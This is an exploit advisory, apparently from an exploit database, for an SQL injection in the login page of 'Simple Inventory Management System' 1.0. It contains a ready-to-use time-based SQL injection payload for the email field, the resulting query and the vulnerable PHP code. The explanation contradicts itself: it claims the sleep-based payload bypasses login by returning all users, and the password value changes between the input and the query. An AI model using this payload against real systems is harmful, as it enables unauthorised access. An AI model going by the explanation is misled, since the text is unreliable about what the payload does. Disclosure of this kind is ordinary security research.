Exploit Title: Simple Inventory Management System - SQL Injection

Google Dork: N/A

Application: Simple Inventory Management System

Date: 26.02.2024

Bugs: SQL Injection

Exploit Author: SoSPiro

Vendor Homepage: https://www.sourcecodester.com/

Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html

Version: 1.0

Tested on: Windows 10 64 bit Wampserver

CVE : N/A

Vulnerability Description:

This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST[‘email’] and $_POST[‘pwd’]) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.

Proof of Concept (PoC):

An example attacker could input the following values:

email: [email protected]’%2b(select*from(select(sleep(20)))a)%2b’
pwd: test

This would result in the following SQL query:

SELECT * FROM users WHERE email = ‘[email protected]’+(select*from(select(sleep(20)))a)+’’ AND password = ‘anything’

This attack would retrieve all users, making the login process always successful.

request-response foto:https://i.imgur.com/slkzYJt.png

Vulnerable code section:

====================================================
ims/login.php

<?php
ob_start();
session_start();
include(‘inc/header.php’);
$loginError = '’;
if (!empty($_POST[‘email’]) && !empty($_POST[‘pwd’])) {
include 'Inventory.php’;
$inventory = new Inventory();

// Vulnerable code
$login = $inventory->login($_POST[‘email’], $_POST[‘pwd’]);
//

if(!empty($login)) {
$_SESSION[‘userid’] = $login[0][‘userid’];
$_SESSION[‘name’] = $login[0][‘name’];
header(“Location:index.php”);
} else {
$loginError = "Invalid email or password!";
}
}
?>